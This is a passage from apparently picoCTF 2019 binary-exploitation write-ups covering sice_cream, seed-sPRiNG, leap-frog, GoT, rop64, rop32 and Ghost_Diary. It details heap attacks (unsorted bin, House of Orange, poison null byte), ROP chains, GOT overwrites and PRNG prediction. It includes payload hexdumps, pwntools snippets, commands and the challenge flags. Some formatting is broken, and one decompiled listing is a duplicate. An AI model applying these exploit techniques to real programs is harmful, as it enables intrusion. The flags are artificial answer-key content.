5. When we allocate a chunk, the heap manager processes the unsorted bin first. It removes the chunk in unsorted bin whether or not the size matches. However, it does not check the completeness of the linked list. Before the unsorted chunk is removed from the unsorted bin, we can overwrite the backwards pointer with any address minus `0x10`. When `malloc` tries to satisfy a request by splitting this free chunk the value at address that BK points to gets overwritten with the address of the unsorted-bin-list in libc's `main_arena`. We decide to use this to overwrite `_IO_list_all` with the address of unsorted bin. This is known as the "unsorted bin attack". You can find more info from [shellphish/how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.26/unsorted_bin_attack.c) ([Archive](https://web.archive.org/web/20200612044333/https://github.com/shellphish/how2heap/blob/master/glibc_2.26/unsorted_bin_attack.c)).
6. The idea is to overwrite the `_IO_list_all` pointer with a fake file pointer, whose `_IO_OVERLOW` points to system and whose first 8 bytes are set to `'/bin/sh'`, so that calling `_IO_OVERFLOW(fp, EOF)` translates to `system('/bin/sh')`.
7. For each allocation, `malloc` tries to serve the chunks in the unsorted list first, therefore, iterates over the list. Furthermore, it will sort all non-fitting chunks into the corresponding bins. If we set the size to 0x61 (97) (`PREV_INUSE` bit has to be set) and trigger a non-fitting smaller allocation, `malloc` will sort the old chunk into the `smallbin-4`. Since this bin is currently empty the previously unsorted chunk will be the new head therefore, occupying the `smallbin[4]` location in the `main_arena` and eventually representing the fake file pointer's fd-ptr.

   ![Diagram of the exploit](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2Fc4da301e2b07334f992b382a5109fd9734f3c39a.jpeg?generation=1619558784541205\&alt=media)

   ([Image Source](https://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html))
8. In addition to sorting, `malloc` will also perform certain size checks on them, so after sorting the old top chunk and following the bogus fd pointer to `_IO_list_all`, it will check the corresponding size field, detect that the size is smaller than `MINSIZE` (`size <= 2 * SIZE_SZ`) and finally triggering the abort call that gets our chain rolling.
9. We also need to satisfy the constraints on the fake file pointer required by the function `_IO_flush_all_lockp`:
   1. fp->\_mode <= 0
   2. fp->\_IO\_write\_ptr > fp->\_IO\_write\_base

      These can be solved with:

      ```cpp
      fp->_mode = 0; // top+0xc0
      fp->_IO_write_base = (char *) 2; // top+0x20
      fp->_IO_write_ptr = (char *) 3; // top+0x28
      ```
10. Summarized process to trigger a shell:
    1. Request an allocation smaller than `0x58`, so that the unsorted chunk will try to be processed.
    2. The unsorted bin write triggered in the process will set `_IO_list_all` to our arena top.
    3. The unsorted check itself will fail and trigger the abort sequence.
    4. The abort sequence will subsequently make the checks discussed in step 9. This convinces the program that our memory region is a valid `_IO_FILE` structure.
    5. As the procedure continues, it will call the jump `table[3]` function where our gadget is waiting.
    6. Pop a shell and `cat` the flag.
11. Run the [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/sice_cream/script.py) and get the flag `python2 script.py`:

    ```
    [*] '~/Documents/PicoCTF/Binary Exploitation/sice_cream/sice_cream'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
        RUNPATH:  './'
    [*] '~/Documents/PicoCTF/Binary Exploitation/sice_cream/libc.so.6'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled
    [+] Opening connection to 2019shell1.picoctf.com on port 3972: Done
    [*] Leaked heapbase: 0x14c1000
    [*] Leaked libc: 0x7f8fccb6c000
    [*] _IO_list_all: 0x7f8fccf31520
    [*] system: 0x7f8fccbb1390
    [*] payload:
        00000000  2f 62 69 6e  2f 73 68 00  61 00 00 00  00 00 00 00  │/bin│/sh·│a···│····│
        00000010  ef be ad de  00 00 00 00  10 15 f3 cc  8f 7f 00 00  │····│····│····│····│
        00000020  02 00 00 00  00 00 00 00  03 00 00 00  00 00 00 00  │····│····│····│····│
        00000030  90 13 bb cc  8f 7f 00 00  90 13 bb cc  8f 7f 00 00  │····│····│····│····│
        *
        000000c0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
        000000d0  00 00 00 00  00 00 00 00  a0 20 60 00  00 00 00 00  │····│····│· `·│····│
        000000e0
    [+] flag{th3_r3al_questi0n_is_why_1s_libc_2.23_still_4_th1ng_8d25b643}
    [*] Closed connection to 2019shell1.picoctf.com port 3972
    ```

### Flag

`flag{th3_r3al_questi0n_is_why_1s_libc_2.23_still_4_th1ng_8d25b643}`


# seed-sPRiNG

### Problem

> The most revolutionary game is finally available: seed sPRiNG is open right now! seed\_spring. Connect to it with nc 2019shell1.picoctf.com 12269.

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/seed-sPRiNG/seed_spring/README.md)

### Solution

1. Lets try running the binary:

   \`\`\`

   ```
                        #                mmmmm  mmmmm    "    mm   m   mmm 
   ```

   mmm mmm mmm mmm# mmm # "# # "# mmm #"m # m" "

   **"  #"  #  #"  #  #" "#         #   "  #mmm#" #mmmm"   #    # #m # #   mm**

   """m #"""" #"""" # # """m # # "m # # # # # # "mmm" "#mm" "#mm" "#m## "mmm" # # " mm#mm # ## "mmm"

````
Welcome! The game is easy: you jump on a sPRiNG.
How high will you fly?

LEVEL (1/30)

Guess the height: 5
WRONG! Sorry, better luck next time!
```
````

1. Reverse the binary file using [Ghidra](https://ghidra-sre.org/) ([cheat sheet](https://ghidra-sre.org/CheatSheet.html)). `main()` function:

   ```cpp
    /* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

    undefined4 main(void)

    {
    uint local_20;
    uint local_1c;
    uint local_18;
    int local_14;
    undefined *local_10;

    local_10 = &stack0x00000004;
    puts("");
    puts("");
    puts("                                                                             ");
    puts("                          #                mmmmm  mmmmm    \"    mm   m   mmm ");
    puts("  mmm    mmm    mmm    mmm#          mmm   #   \"# #   \"# mmm    #\"m  # m\"   \"");
    puts(" #   \"  #\"  #  #\"  #  #\" \"#         #   \"  #mmm#\" #mmmm\"   #    # #m # #   mm");
    puts(
        "  \"\"\"m  #\"\"\"\"  #\"\"\"\"  #   #          \"\"\"m  #      #   \"m   #    #  # # #    #"
        );
    puts(" \"mmm\"  \"#mm\"  \"#mm\"  \"#m##         \"mmm\"  #      #    \" mm#mm  #   ##  \"mmm\"");
    puts("                                                                             ");
    puts("");
    puts("");
    puts("Welcome! The game is easy: you jump on a sPRiNG.");
    puts("How high will you fly?");
    puts("");
    fflush(stdout);
    local_18 = time((time_t *)0x0);
    srand(local_18);
    local_14 = 1;
    while( true ) {
        if (0x1e < local_14) {
        puts("Congratulation! You\'ve won! Here is your flag:\n");
        get_flag();
        fflush(stdout);
        return 0;
        }
        printf("LEVEL (%d/30)\n",local_14);
        puts("");
        local_1c = rand();
        local_1c = local_1c & 0xf;
        printf("Guess the height: ");
        fflush(stdout);
        __isoc99_scanf(&DAT_00010c9a,&local_20);
        fflush(stdin);
        if (local_1c != local_20) break;
        local_14 = local_14 + 1;
    }
    puts("WRONG! Sorry, better luck next time!");
    fflush(stdout);
                        /* WARNING: Subroutine does not return */
    exit(-1);
    }
   ```

   The capital letters in the name of this challenge (PRNG) make sense now. That is an abbreviation for pseudo random number generator (`srand()` in this case), which is what we can abuse to solve this challenge. We need to "guess" 30 "random" numbers in a row to call the `get_flag()` function and print the flag.

   This program generates a "random" number and then applies a bitwise AND operation between that value and `0xf`, so we must do the same in our program.
2. The program calls `srand()` and sets the seed to the current time. All the values returned by `srand()` throughout the program are based on this seed. If we enter the same seed we will receive the same values.
3. Let's create a program that calls `srand(time(0))`. Running this program at the same time as `seed_spring` will produce the same set of "random" numbers. We can feed the output from our program directly into `seed_spring`.
4. The [solve](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/seed-sPRiNG/solve/README.md) program will print the first 30 pseudo random numbers with each one followed by a newline so the output can be easily piped into `seed_spring`. Let's compile [solve.c](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/seed-sPRiNG/solve.c) with `gcc -g solve.c -o solve`.
5. On the shell server (we need to have the exact same time so we cannot generate out numbers locally) make a `solve.c` file by copying the [solve.c](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/seed-sPRiNG/solve.c) file in this folder, then run the following:

   ```
    gcc -g solve.c -o solve
    ./solve | nc localhost 12269
   ```

   Output and flag:

   \`\`\`

   ```
                        #                mmmmm  mmmmm    "    mm   m   mmm 
   ```

   mmm mmm mmm mmm# mmm # "# # "# mmm #"m # m" "

   **"  #"  #  #"  #  #" "#         #   "  #mmm#" #mmmm"   #    # #m # #   mm**

   """m #"""" #"""" # # """m # # "m # # # # # # "mmm" "#mm" "#mm" "#m## "mmm" # # " mm#mm # ## "mmm"

````
Welcome! The game is easy: you jump on a sPRiNG.
How high will you fly?

LEVEL (1/30)

Guess the height: LEVEL (2/30)

Guess the height: LEVEL (3/30)

Guess the height: LEVEL (4/30)

Guess the height: LEVEL (5/30)

Guess the height: LEVEL (6/30)

Guess the height: LEVEL (7/30)

Guess the height: LEVEL (8/30)

Guess the height: LEVEL (9/30)

Guess the height: LEVEL (10/30)

Guess the height: LEVEL (11/30)

Guess the height: LEVEL (12/30)

Guess the height: LEVEL (13/30)

Guess the height: LEVEL (14/30)

Guess the height: LEVEL (15/30)

Guess the height: LEVEL (16/30)

Guess the height: LEVEL (17/30)

Guess the height: LEVEL (18/30)

Guess the height: LEVEL (19/30)

Guess the height: LEVEL (20/30)

Guess the height: LEVEL (21/30)

Guess the height: LEVEL (22/30)

Guess the height: LEVEL (23/30)

Guess the height: LEVEL (24/30)

Guess the height: LEVEL (25/30)

Guess the height: LEVEL (26/30)

Guess the height: LEVEL (27/30)

Guess the height: LEVEL (28/30)

Guess the height: LEVEL (29/30)

Guess the height: LEVEL (30/30)

Guess the height: picoCTF{pseudo_random_number_generator_not_so_random_66aacad47c332de30eb8d8170d96b772}Congratulation! You've won! Here is your flag:
```
````

#### Flag

`picoCTF{pseudo_random_number_generator_not_so_random_66aacad47c332de30eb8d8170d96b772}`


# leap-frog

## Problem

> Can you jump your way to win in the following program and get the flag? You can find the program in /problems/leap-frog\_4\_32907c7b6e253bd5d9422083e7243619 on the shell server? Source.

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/leap-frog/rop/README.md)
* [Source](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/leap-frog/rop.c)

## Solution

1. Run the [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/leap-frog/script.py) like so: `python script.py USER=username PASSWORD=password`
2. This is not the intended solution. This is a classic ROP challenge. But instead of going through the process as intended, all the win\* variables can be set to 1 by calling gets correctly. Libc's "gets" function is able to write anything typed into stdin to any writable segment of memory. This program writes 0x01 ("true") on top of the win1, win2, and win3 variables in memory to skip the need to call the leap functions. Then display\_flag() is called.
3. The payload is as follows:
   1. padding
   2. gets\_plt (address of `gets@plt`): manipulates the return address of the first `gets()` in the `vuln()` function. So when the first `gets()` finishes, it jumps to the second `gets()`
   3. display\_flag\_addr (address of `display_flag()`): overwrites the return address of the second `gets()`. So when the second `gets()` finishes, it jumps to `display_flag()`.
   4. win1\_addr (address of the `win1` variable): buffer for the second `gets()`. So the second `gets(`) expects another input from the user and writes it to the address of `win1`. The three bytes written will overflow into `win2` and `win3` and set them to true as well.

      Extremely helpful explanation: [StackOverflow answer by d4rwel](https://stackoverflow.com/a/60916625)
4. These write-ups describe the intended ROP solution: [Dvd848](https://github.com/Dvd848/CTFs/blob/master/2019_picoCTF/leap-frog.md) ([Archive](https://web.archive.org/web/20200601203839/https://github.com/Dvd848/CTFs/blob/master/2019_picoCTF/leap-frog.md)) and [Fascinating Confusion](https://fascinating-confusion.io/posts/2019/10/leapfrog-writeup/) ([Archive](https://web.archive.org/web/20200601203736/https://fascinating-confusion.io/posts/2019/10/leapfrog-writeup/))

### Flag

`picoCTF{h0p_r0p_t0p_y0uR_w4y_t0_v1ct0rY_183d3d88}`


# GoT

## Problem

> You can only change one address, here is the problem: program. It is also found in /problems/got\_3\_4ba3deeda2ea9b203c6a6425f183e7ed on the shell server. Source.

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/GoT/vuln/README.md)
* [Source](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/GoT/vuln.c)

## Solution

1. The program asks for an address to overwrite with user-supplied data. One prompt for the address and another prompt for the input value.&#x20;
2. `puts` and `exit` are the only two functions called after the write, so we need to change the behavior of one of the two functions. Because ASLR is enabled, we need to look for things that stay constant. One of these things is the Global Offset Table. The [Global Offset Table](https://www.youtube.com/watch?v=kUk5pw4w0h4) allows a C program to call libc libraries and serve as a jumping point for the program. If we modify this jumping point, we can make the program execute code at a different address than intended.
3. So we want to select the GOT address of the `puts` function and overwrite it with the address of the `win` function. `pwntools` makes this easy:

   ```python
    exit_got = exe.got['exit']
    win_addr = exe.symbols['win']
   ```
4. Then we simply send the addresses over and get the flag:

   ```python
    io.sendlineafter("Input address\n", str(exit_got))
    io.sendlineafter("Input value?\n", str(win_addr))
   ```
5. Run the [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/GoT/script.py) like so: `python script.py USER=username PASSWORD=password`

### Flag

`picoCTF{A_s0ng_0f_1C3_and_f1r3_1ef72b2d}`


# rop64

## Problem

> Time for the classic ROP in 64-bit. Can you exploit this program to get a flag? You can find the program in /problems/rop64\_0\_4c66bec7dba72276ffa01e0ad2d6ec8f on the shell server. Source.

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/rop64/vuln/README.md)
* [Source](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/rop64/vuln.c)

## Solution

1. Get Padding
   1. Run `python2 -c "from pwn import *; print cyclic(1000, n=8)" > fuzz.in`
   2. Start program in gdb (preferably with pwndbg extension) and run `r < fuzz.in` to start then `x $rbp` to get `0x6161616161616163:     Cannot access memory at address 0x6161616161616163`
   3. Run `python2 -c "from pwn import *; print cyclic_find(0x6161616161616163, n=8)"` to get padding of `16`
   4. Add 8 to padding because right after `16` is the "saved frame/base pointer" (which is 8 bytes because 64 bit program) and we want to modify the "saved return address" which is the next address in the stack. ([More Info](https://medium.com/@buff3r/basic-buffer-overflow-on-64-bit-architecture-3fb74bab3558))
   5. So padding is `'a'*(16+8)`
2. Use [ROPgadget](https://github.com/JonathanSalwan/ROPgadget) to run `python ROPgadget.py --binary ./vuln --rop --badbytes "0a"` to get ROP chain
3. Paste in padding of `'a'*28`
4. Run [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/rop64/script.py) for remote execution
5. Run `cat flag.txt` in the shell that spawns

### Flag

`picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_d4b7a298}`


# rop32

## Problem

> Can you exploit the following program to get a flag? You can find the program in /problems/rop32\_4\_0636b42072627d283f46d2427804b10c on the shell server. Source.

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/rop32/vuln/README.md)
* [Source](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/rop32/vuln.c)

## Solution

1. Get padding by running `python2 -c "from pwn import *; print cyclic(50)" | ./vuln` then `dmesg | tail` to get segfault address of `0x61616168` then `cyclic_find(0x61616168)` to get padding of `'a'*28`
2. Run `python ROPgadget.py --binary ./vuln --rop --badbytes "0a"` to get ROP chain
3. Paste in padding of `'a'*28`
4. Run [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/rop32/script.py) for remote execution
5. Run `cat flag.txt` in the shell that spawns

### Flag

`picoCTF{rOp_t0_b1n_sH_dee2e288}`


# Ghost\_Diary

## Problem

> Try writing in this ghost diary. Its also found in /problems/ghost-diary\_5\_7e39864bc6dc6e66a1ac8f4632e5ffba on the shell server.

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/Ghost_Diary/ghostdiary/README.md)

## Solution

### Stage 1: Analysis

1. Analysis commands (run on shell server):

   ```
    $ ldd ghostdiary
    linux-vdso.so.1 (0x00007ffc22b9f000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f860ee47000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f860f43b000)

    $ strings /lib/x86_64-linux-gnu/libc.so.6 | grep GNU
    GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
    Compiled by GNU CC version 7.3.0.

    $ checksec ghostdiary
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled
   ```

   The libc version is 2.27 which implies the use of tcache with very little security checks. All protections are enabled, implying a heap only exploit.
2. Test run:

   ```
    -=-=-=[[Ghost Diary]]=-=-=-
    1. New page in diary
    2. Talk with ghost
    3. Listen to ghost
    4. Burn the page
    5. Go to sleep
    > 1
    1. Write on one side?
    2. Write on both sides?
    > 1
    size: 1
    page #0
    1. New page in diary
    2. Talk with ghost
    3. Listen to ghost
    4. Burn the page
    5. Go to sleep
    > 2
    Page: 1
    Content: 1. New page in diary
    2. Talk with ghost
    3. Listen to ghost
    4. Burn the page
    5. Go to sleep
    > 4
    Page: 1
    1. New page in diary
    2. Talk with ghost
    3. Listen to ghost
    4. Burn the page
    5. Go to sleep
    > 5
    bye human!
   ```

   After running, we are given a menu with the following options: New page, Talk with ghost, Listen to ghost, Burn the page, and Go to sleep. We suspect that these operations correspond to a fairly standard heap problem with create, edit, read, delete, and exit.
3. Reverse the binary file using [Ghidra](https://ghidra-sre.org/) ([cheat sheet](https://ghidra-sre.org/CheatSheet.html)).

   `main()` function:

   `create_page()` function:

   ```cpp
    void FUN_00100b0b(void)

    {
    void *pvVar1;
    long in_FS_OFFSET;
    uint local_1c;
    int local_18;
    uint local_14;
    long local_10;

    local_10 = *(long *)(in_FS_OFFSET + 0x28);
    local_14 = 0;
    while ((local_14 < 0x14 && (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) != 0))) {
        local_14 = local_14 + 1;
    }
    if (local_14 == 0x14) {
        puts("Buy new book");
    }
    else {
        puts("1. Write on one side?");
        puts("2. Write on both sides?");
        while( true ) {
        while( true ) {
            while( true ) {
            printf("> ");
            __isoc99_scanf(&DAT_0010119d,&local_18);
            if (local_18 != 1) break;
            printf("size: ");
            __isoc99_scanf(&DAT_0010119d,&local_1c);
            if (local_1c < 0xf1) goto LAB_00100c64;
            puts("too big to fit in a page");
            }
            if (local_18 != 2) goto LAB_00100ce5;
            printf("size: ");
            __isoc99_scanf(&DAT_0010119d,&local_1c);
            if (0x10f < local_1c) break;
            puts("don\'t waste pages -_-");
        }
        if (local_1c < 0x1e1) break;
        puts("can you not write that much?");
        }
    LAB_00100c64:
        pvVar1 = malloc((ulong)local_1c);
        *(void **)(&DAT_00302060 + (ulong)local_14 * 0x10) = pvVar1;
        if (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) == 0) {
        puts("oh noooooooo!! :(");
        }
        else {
        *(uint *)(&DAT_00302068 + (ulong)local_14 * 0x10) = local_1c;
        printf("page #%d\n",(ulong)local_14);
        }
    }
    LAB_00100ce5:
    if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
        return;
    }
                        /* WARNING: Subroutine does not return */
    __stack_chk_fail();
    }
   ```

   `edit_page()` function:

   ```cpp
    void FUN_00100cfb(void)

    {
    long in_FS_OFFSET;
    uint local_14;
    long local_10;

    local_10 = *(long *)(in_FS_OFFSET + 0x28);
    printf("Page: ");
    __isoc99_scanf(&DAT_0010119d,&local_14);
    printf("Content: ");
    if ((local_14 < 0x14) && (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) != 0)) {
        FUN_00100a5a(*(undefined8 *)(&DAT_00302060 + (ulong)local_14 * 0x10),
                    (ulong)*(uint *)(&DAT_00302068 + (ulong)local_14 * 0x10),
                    (ulong)*(uint *)(&DAT_00302068 + (ulong)local_14 * 0x10));
    }
    if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                        /* WARNING: Subroutine does not return */
        __stack_chk_fail();
    }
    return;
    }
   ```

   `edit_page_input()` function (`FUN_00100a5a()`):

   ```cpp
    void FUN_00100a5a(long param_1,uint param_2)

    {
    ssize_t sVar1;
    long in_FS_OFFSET;
    char local_15;
    uint local_14;
    long local_10;

    local_10 = *(long *)(in_FS_OFFSET + 0x28);
    local_14 = 0;
    if (param_2 != 0) {
        while (local_14 != param_2) {
        sVar1 = read(0,&local_15,1);
        if (sVar1 != 1) {
            puts("read error");
                        /* WARNING: Subroutine does not return */
            exit(-1);
        }
        if (local_15 == '\n') break;
        *(char *)((ulong)local_14 + param_1) = local_15;
        local_14 = local_14 + 1;
        }
        *(undefined *)(param_1 + (ulong)local_14) = 0;
    }
    if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
        return;
    }
                        /* WARNING: Subroutine does not return */
    __stack_chk_fail();
    }
   ```

   `print_page()` function:

   ```cpp
    void FUN_00100dbe(void)

    {
    long in_FS_OFFSET;
    uint local_14;
    long local_10;

    local_10 = *(long *)(in_FS_OFFSET + 0x28);
    printf("Page: ");
    __isoc99_scanf(&DAT_0010119d,&local_14);
    printf("Content: ");
    if ((local_14 < 0x14) && (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) != 0)) {
        puts(*(char **)(&DAT_00302060 + (ulong)local_14 * 0x10));
    }
    if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                        /* WARNING: Subroutine does not return */
        __stack_chk_fail();
    }
    return;
    }
   ```

   `delete_page()` function:

   ```cpp
    void FUN_00100e69(void)

    {
    long in_FS_OFFSET;
    uint local_14;
    long local_10;

    local_10 = *(long *)(in_FS_OFFSET + 0x28);
    printf("Page: ");
    __isoc99_scanf(&DAT_0010119d,&local_14);
    if ((local_14 < 0x14) && (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) != 0)) {
        free(*(void **)(&DAT_00302060 + (ulong)local_14 * 0x10));
        *(undefined8 *)(&DAT_00302060 + (ulong)local_14 * 0x10) = 0;
    }
    if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                        /* WARNING: Subroutine does not return */
        __stack_chk_fail();
    }
    return;
    }
   ```

   `menu()` function:

   ```cpp
    void FUN_00100e69(void)

    {
    long in_FS_OFFSET;
    uint local_14;
    long local_10;

    local_10 = *(long *)(in_FS_OFFSET + 0x28);
    printf("Page: ");
    __isoc99_scanf(&DAT_0010119d,&local_14);
    if ((local_14 < 0x14) && (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) != 0)) {
        free(*(void **)(&DAT_00302060 + (ulong)local_14 * 0x10));
        *(undefined8 *)(&DAT_00302060 + (ulong)local_14 * 0x10) = 0;
    }
    if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                        /* WARNING: Subroutine does not return */
        __stack_chk_fail();
    }
    return;
    }
   ```

   Ghidra failed to decompile `main()`, but this should be okay since it probably only handles the logic that calls the above functions.

   Findings:

   * The `delete_page()` method correctly sets the pointer to NULL after freeing, so any use-after-free exploit will have to work non-trivially.
   * There is a null byte overflow in the edit function.
   * In addition, we can print any chunk, regardless of if it’s freed or not, which we will use to get a libc leak.

### Stage 2: Leak Libc (using a poison null byte)

1. `tcache` bins prevent us from getting a leak normally by freeing unsorted bin. However, each `tcache` bin can only hold a maximum of 7 chunks, letting us easily overflow it. We create 8 chunks in the unsorted bin range, and free them all. The last freed chunk will have a libc address, which we can leak, since it will be freed to a regular bin.
2. Throughout this exploit, we will need to ensure that the `tcache` is filled, or else our freed chunks will go into the tcache and not unsorted bins.
3. This section is somewhat similar to the "zero\_to\_hero" challenge since we overflow a poison null byte into the next chunk to change the size of the next chunk.
4. In this case, in order to perform null byte poisoning we need 3 chunks (size `0x118` but value is `0x119` because of `PREV_INUSE` bit).

   ```
    0x00    [ 0xdeadbeef  ] [    0x119   ]  A
            [             ...            ]
            [             ...            ]
    0x118   [     ...     ] [    0x119   ]  B
            [             ...            ]
            [             ...            ]
    0x230   [     ...     ] [    0x119   ]  C
            [             ...            ]
            [             ...            ]
   ```
5. We eventually want to shrink chunk B by overwriting the least significant byte of the size header with `0x00`. Thus, the new size of B becomes `0x100`. However, we need to change the `prev_size` value of the chunk following B or else `malloc` will error when it is called. This can be done by writing a fake block header into block B that is `0x100-0x10` bytes after block B's header. Remember, all blocks overlap with the next block by 8 bytes in 64-bit programs (4 bytes in 32-bit). This overlap contains the last 8 bytes of the block if the block is allocated, but if it is unallocated it contains the size of the previous block. We write the size of `0x100` to b`lock_b_header+0xf0` and then free B (to the unsorted list) to setup the backwards consolidation later. We do not write a size to the fake header because `malloc` does not check the size value. Freeing block B changes the `PREV_INUSE` byte of block C, making block C's size value change from `0x121` to `0x120`, to mark the previous block as not in use. It also

   ```
    0x00    [    0xdeadbeef    ] [      0x121     ]  A
            [                  ...                ]
            [                  ...                ]
    0x118   [        ...       ] [      0x121     ]  B [FREE]
            [                  ...                ]
            [                  ...                ]
    0x218   [ 0x100 prev_size  ] [      ...       ]    [FAKE HEADER]
            [                  ...                ]
            [                  ...                ]
    0x230   [ 0x120 prev_size  ] [      0x120     ]  C
            [                  ...                ]
            [                  ...                ]
                               ...
   ```
6. We then abuse the null byte overflow to change B’s size. We fill block 7 (block A) with `A`s and the single null byte overflows to change block 8's (block B) size from `0x120` to `0x100`

   ```
    0x00    [    0xdeadbeef    ] [      0x121     ]  A [FREE]
            [                  ...                ]
            [                  ...                ]
    0x118   [        ...       ] [      0x100     ]  B [FREE]
            [                  ...                ]
            [                  ...                ]
    0x218   [ 0x100 prev_size  ] [      ...       ]    [FAKE HEADER]
            [                  ...                ]
            [                  ...                ]
    0x230   [ 0x120 prev_size  ] [      0x120     ]  C
            [                  ...                ]
            [                  ...                ]
                               ...
   ```
7. When `malloc()` is called, it looks on its list for a piece of memory that is big enough. If it finds one, then it removes that memory from the linked list and returns it to the user. When `free()` is called, the memory is put back on the linked list. Now, to be efficient, if there is a chunk of memory on the free list that much bigger than what is requested, then it breaks up that chunk into two chunks: one which is the size of the request (padded to a multiple of 8), and the remainder. The remainder is put on the free list and the one the size of the request is returned to the user. Therefore, running `alloc(0x88)` to create a block of size `0x88` will split the chunk in the unsorted list, which in our case is chunk B of size `0x118`, into `0x88`, as requested by the program, and `0x90` which is the leftover amount.
8. When the block of size `0x88` is requested `malloc` simply returns a pointer to the block of memory. It does not null out the values or set them to zero like `calloc` does. When block B was initially freed to the unsorted list the backwards pointer was overwritten with the address of the unsorted bin list in libc's `main_arena`. Thus, when it is split and the top part is returned we get a block of memory containing a libc address. We can calculate the offset and obtain the libc base address. Fore more information about how `malloc` determines which address to return visit [the MallocInternals glibc wiki page](https://sourceware.org/glibc/wiki/MallocInternals) ([Archive](https://web.archive.org/web/20200614010125/https://sourceware.org/glibc/wiki/MallocInternals)) and read the "Malloc Algorithm" section (although the whole page is great and I recommend reading it all if you are unfamiliar). The image below shows the state of the heap after `malloc(0x88)` is called:

   ```
    0x00    [    0xdeadbeef    ] [      0x121     ]  A
            [                  ...                ]
            [                  ...                ]
    0x118   [        ...       ] [      0x91      ]  B1
            [                  ...                ]
            [                  ...                ]
    0x1a8   [        ...       ] [      0x70      ]  B2  [FREE]
            [                  ...                ]
            [                  ...                ]
    0x218   [ 0x70 prev_size   ] [      ...       ]      [FAKE HEADER]
            [                  ...                ]
            [                  ...                ]
    0x230   [ 0x120 prev_size  ] [      0x120     ]  C
            [                  ...                ]
            [                  ...                ]
                               ...
   ```

### Stage 3: Overlap chunks and overwrite an address

1. We can call `malloc` again to get our chunk that we’ll collapse over. Specifically, to request a chunk of size `0x30`, leaving a remainder of `0x40` since B2 is being split. The heap now looks like this:

   ```
    0x00    [    0xdeadbeef    ] [      0x121     ]  A
            [                  ...                ]
            [                  ...                ]
    0x118   [        ...       ] [      0x91      ]  B1
            [                  ...                ]
            [                  ...                ]
    0x1a8   [        ...       ] [      0x41      ]  B2
            [                  ...                ]
            [                  ...                ]
    0x1e8   [        ...       ] [      0x30      ]  B3  [FREE]
            [                  ...                ]
            [                  ...                ]
    0x218   [ 0x30 prev_size   ] [      ...       ]      [FAKE HEADER]
            [                  ...                ]
            [                  ...                ]
    0x230   [ 0x120 prev_size  ] [      0x120     ]  C
            [                  ...                ]
            [                  ...                ]
                               ...
   ```
2. We then free B1 to ensure that a proper `prev_size` header is written:

   ```
    0x00    [    0xdeadbeef    ] [      0x121     ]  A
            [                  ...                ]
            [                  ...                ]
    0x118   [        ...       ] [      0x91      ]  B1  [FREE]
            [                  ...                ]
            [                  ...                ]
    0x1a8   [        0x90      ] [      0x40      ]  B2  
            [                  ...                ]
            [                  ...                ]
